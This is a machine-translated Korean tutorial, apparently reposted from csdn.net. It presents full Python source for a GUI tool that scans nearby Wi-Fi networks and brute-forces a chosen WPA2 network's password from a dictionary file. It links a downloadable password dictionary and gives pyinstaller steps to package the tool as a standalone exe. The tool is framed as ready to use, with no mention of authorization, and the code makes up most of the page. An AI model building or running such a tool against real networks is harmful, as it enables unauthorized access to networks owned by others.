>백엔드 개발 >파이썬 튜토리얼 >Python을 사용하여 Wi-Fi 비밀번호 EXE 애플리케이션을 무차별 대입으로 크랙하는 방법에 대한 간략한 분석

Python을 사용하여 Wi-Fi 비밀번호 EXE 애플리케이션을 무차별 대입으로 크랙하는 방법에 대한 간략한 분석

青灯夜游
青灯夜游앞으로
2022-10-25 21:34:044908검색

Python을 사용하여 Wi-Fi 비밀번호 EXE 애플리케이션을 무차별 대입으로 크랙하는 방법에 대한 간략한 분석

Python은 프로그래밍계의 만병통치약으로 알려져 있는데, 컴퓨터 네트워크 카드 WiFi를 읽고 격렬하게 크래킹하는 작은 스크립트를 만드는 것이 가능할까요? 이를 바탕으로 경험을 촉진하기 위해 실행하기 쉬운 exe와 같은 작은 응용 프로그램으로 패키징할 수 있습니까?

그냥 해보세요~

기능 포인트 미리보기

이 글에서는 주로 다음 요구 사항을 공유합니다

  • 무선 네트워크 카드를 얻기 위한 Python
  • 무선 네트워크 카드를 통해 Wi-Fi를 얻기 위한 Python
  • 무차별 대입 크랙을 위한 Python GUI 그래픽 인터페이스를 구현하는 wifi
  • python
  • Python은 exe

pre-preparation-dependent library

  • comtypes
  • pywifi
  • pyintaller

에 패키지되어 있습니다. pycharm ide를 사용하여 py 설치 와이파이

Python을 사용하여 Wi-Fi 비밀번호 EXE 애플리케이션을 무차별 대입으로 크랙하는 방법에 대한 간략한 분석
물론 pip install xxx 명령을 사용하여 직접 설치할 수도 있습니다.

Python tkinter를 사용하여 GUI 인터페이스를 작성합니다.

이 기사에서는 TKinter를 사용하여 GUI 인터페이스를 직접 작성하는 것이 번거롭습니다. GUI 코드의 신속한 배열 및 자동화를 위한 도구(QT5 등)

비밀번호 사전

비밀번호 사전이란 무엇인가요?
쉽게 말하면, 모두 숫자, 숫자와 문자의 조합, 휴대전화번호, 유선전화번호, 생일 등 일련의 비밀번호를 미리 저장해 놓은 문자입니다.

이 기사를 테스트할 때 수동으로 비밀번호 사전을 만들 수 있습니다. 다음 비밀번호 사전 라이브러리를 다운로드할 수도 있습니다.
Python을 사용하여 Wi-Fi 비밀번호 EXE 애플리케이션을 무차별 대입으로 크랙하는 방법에 대한 간략한 분석
링크: https://pan.baidu.com/s/10v0ghKi_6bkDo3g8-BVLvQ 추출 코드: zh3m

from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog  # 在Gui中打开文件浏览
import tkinter.messagebox  # 打开tkiner的消息提醒框

class MY_GUI():
    def __init__(self, init_window_name):
        self.init_window_name = init_window_name
        # 密码文件路径
        self.get_value = StringVar()  # 设置可变内容
        # 获取破解wifi账号
        self.get_wifi_value = StringVar()
        # 获取wifi密码
        self.get_wifimm_value = StringVar()
        # 抓取网卡接口
        self.wifi = pywifi.PyWiFi()
        # 抓取第一个无线网卡
        self.iface = self.wifi.interfaces()[0]
        # 测试链接断开所有链接
        self.iface.disconnect()
        time.sleep(1)  # 休眠1秒
        # 测试网卡是否属于断开状态
        assert self.iface.status() in \
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    def __str__(self):
        # 自动会调用的函数,返回自身的网卡
        return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())
    # 设置窗口
    def set_init_window(self):
        self.init_window_name.title("普帝WIFI破解工具")
        self.init_window_name.geometry('+500+200')

        labelframe = LabelFrame(width=800, height=400, text="配置")  # 框架,以下对象都是对于labelframe中添加的
        labelframe.grid(column=0, row=0, padx=10, pady=10)
        self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)
        self.pojie = Button(labelframe, text="普帝金手指", command=self.readPassWord).grid(column=1, row=0)
        self.label = Label(labelframe, text="目录路径:").grid(column=0, row=1)
        self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)
        self.file = Button(labelframe, text="添加密码文件目录", command=self.add_mm_file).grid(column=2, row=1)
        self.wifi_text = Label(labelframe, text="WiFi账号:").grid(column=0, row=2)
        self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)
        self.wifi_mm_text = Label(labelframe, text="WiFi密码:").grid(column=2, row=2)
        self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W)
        self.wifi_labelframe = LabelFrame(text="wifi列表")
        self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
        # 定义树形结构与滚动条
        self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))
        self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
        self.wifi_tree.configure(yscrollcommand=self.vbar.set)
        # 表格的标题
        self.wifi_tree.column("a", width=50, anchor="center")
        self.wifi_tree.column("b", width=100, anchor="center")
        self.wifi_tree.column("c", width=100, anchor="center")
        self.wifi_tree.column("d", width=100, anchor="center")
        self.wifi_tree.heading("a", text="WiFiID")
        self.wifi_tree.heading("b", text="SSID")
        self.wifi_tree.heading("c", text="BSSID")
        self.wifi_tree.heading("d", text="signal")
        self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
        self.wifi_tree.bind("<Double-1>", self.onDBClick)
        self.vbar.grid(row=4, column=1, sticky=NS)

    # 搜索wifi
    def scans_wifi_list(self):  # 扫描周围wifi列表
        # 开始扫描
        print("^_^ 开始扫描附近wifi...")
        self.iface.scan()
        time.sleep(15)
        # 在若干秒后获取扫描结果
        scanres = self.iface.scan_results()
        # 统计附近被发现的热点数量
        nums = len(scanres)
        print("数量: %s" % (nums))
        # 实际数据
        self.show_scans_wifi_list(scanres)
        return scanres
    # 显示wifi列表
    def show_scans_wifi_list(self, scans_res):
        for index, wifi_info in enumerate(scans_res):
            self.wifi_tree.insert("", &#39;end&#39;, values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))

    # 添加密码文件目录
    def add_mm_file(self):
        self.filename = tkinter.filedialog.askopenfilename()
        self.get_value.set(self.filename)

    # Treeview绑定事件
    def onDBClick(self, event):
        self.sels = event.widget.selection()
        self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])
    # 读取密码字典,进行匹配
    def readPassWord(self):
        self.getFilePath = self.get_value.get()
        self.get_wifissid = self.get_wifi_value.get()
        pwdfilehander = open(self.getFilePath, "r", errors="ignore")
        while True:
            try:
                self.pwdStr = pwdfilehander.readline()
                if not self.pwdStr:
                    break
                self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
                if self.bool1:
                    self.res = "[*] 密码正确!wifi名:%s,匹配密码:%s " % (self.get_wifissid, self.pwdStr)
                    self.get_wifimm_value.set(self.pwdStr)
                    tkinter.messagebox.showinfo(&#39;提示&#39;, &#39;破解成功!!!&#39;)
                    print(self.res)
                    break
                else:
                    self.res = "[*] 密码错误!wifi名:%s,匹配密码:%s" % (self.get_wifissid, self.pwdStr)
                    print(self.res)
                time.sleep(3)
            except:
                continue

    # 对wifi和密码进行匹配
    def connect(self, pwd_Str, wifi_ssid):
        # 创建wifi链接文件
        self.profile = pywifi.Profile()
        self.profile.ssid = wifi_ssid  # wifi名称
        self.profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放
        self.profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
        self.profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
        self.profile.key = pwd_Str  # 密码
        self.iface.remove_all_network_profiles()  # 删除所有的wifi文件
        self.tmp_profile = self.iface.add_network_profile(self.profile)  # 设定新的链接文件
        self.iface.connect(self.tmp_profile)  # 链接
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:  # 判断是否连接上
            isOK = True
        else:
            isOK = False
        self.iface.disconnect()  # 断开
        time.sleep(1)
        # 检查断开状态
        assert self.iface.status() in \
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
        return isOK


def gui_start():
    init_window = Tk()
    ui = MY_GUI(init_window)
    print(ui)
    ui.set_init_window()
    init_window.mainloop()


if __name__ == "__main__":
    gui_start()

Package into exe

pyinstaller -F -w -i 图标名.后缀 源文件.py

명령 설명은 기사 끝부분의 설명을 참조하세요

Python을 사용하여 Wi-Fi 비밀번호 EXE 애플리케이션을 무차별 대입으로 크랙하는 방법에 대한 간략한 분석

그런 다음 컴퓨터의 Python 설치 디렉토리에 있는 Scriptsdist로 이동하여 패키지된 exe 애플리케이션을 확인하세요

Python을 사용하여 Wi-Fi 비밀번호 EXE 애플리케이션을 무차별 대입으로 크랙하는 방법에 대한 간략한 분석

Demo

패키지된 .exe 스크립트를 두 번 클릭하세요
Python을 사용하여 Wi-Fi 비밀번호 EXE 애플리케이션을 무차별 대입으로 크랙하는 방법에 대한 간략한 분석

STEP1: 첨부 파일을 검색하려면 클릭하세요 WIFI
STEP2: 비밀번호 파일 디렉터리 추가
STEP3: Pudi Golden Finger를 클릭하여 크랙

Python을 사용하여 Wi-Fi 비밀번호 EXE 애플리케이션을 무차별 대입으로 크랙하는 방법에 대한 간략한 분석

^_^ 开始扫描附近wifi...
数量: 19
[*] 密码正确!wifi名:XXXXXXXX,匹配密码:XXXXXXXX

PS

pyinstaller 패키징 오류 해결

다음 오류가 발생하는 경우
struct.error: 압축을 풀려면 16바이트의 버퍼가 필요합니다
Python을 사용하여 Wi-Fi 비밀번호 EXE 애플리케이션을 무차별 대입으로 크랙하는 방법에 대한 간략한 분석

해결책: 온라인 변환 ico 도구를 사용하여 이미지를 16 크기로 변환해야 합니다. *16
온라인 변환 도구를 사용하여 ico

pyintaller 일반적으로 사용되는 패키징 명령 설명

Python을 사용하여 Wi-Fi 비밀번호 EXE 애플리케이션을 무차별 대입으로 크랙하는 방법에 대한 간략한 분석

【관련 권장 사항:Python3 비디오 튜토리얼

위 내용은 Python을 사용하여 Wi-Fi 비밀번호 EXE 애플리케이션을 무차별 대입으로 크랙하는 방법에 대한 간략한 분석의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 csdn.net에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제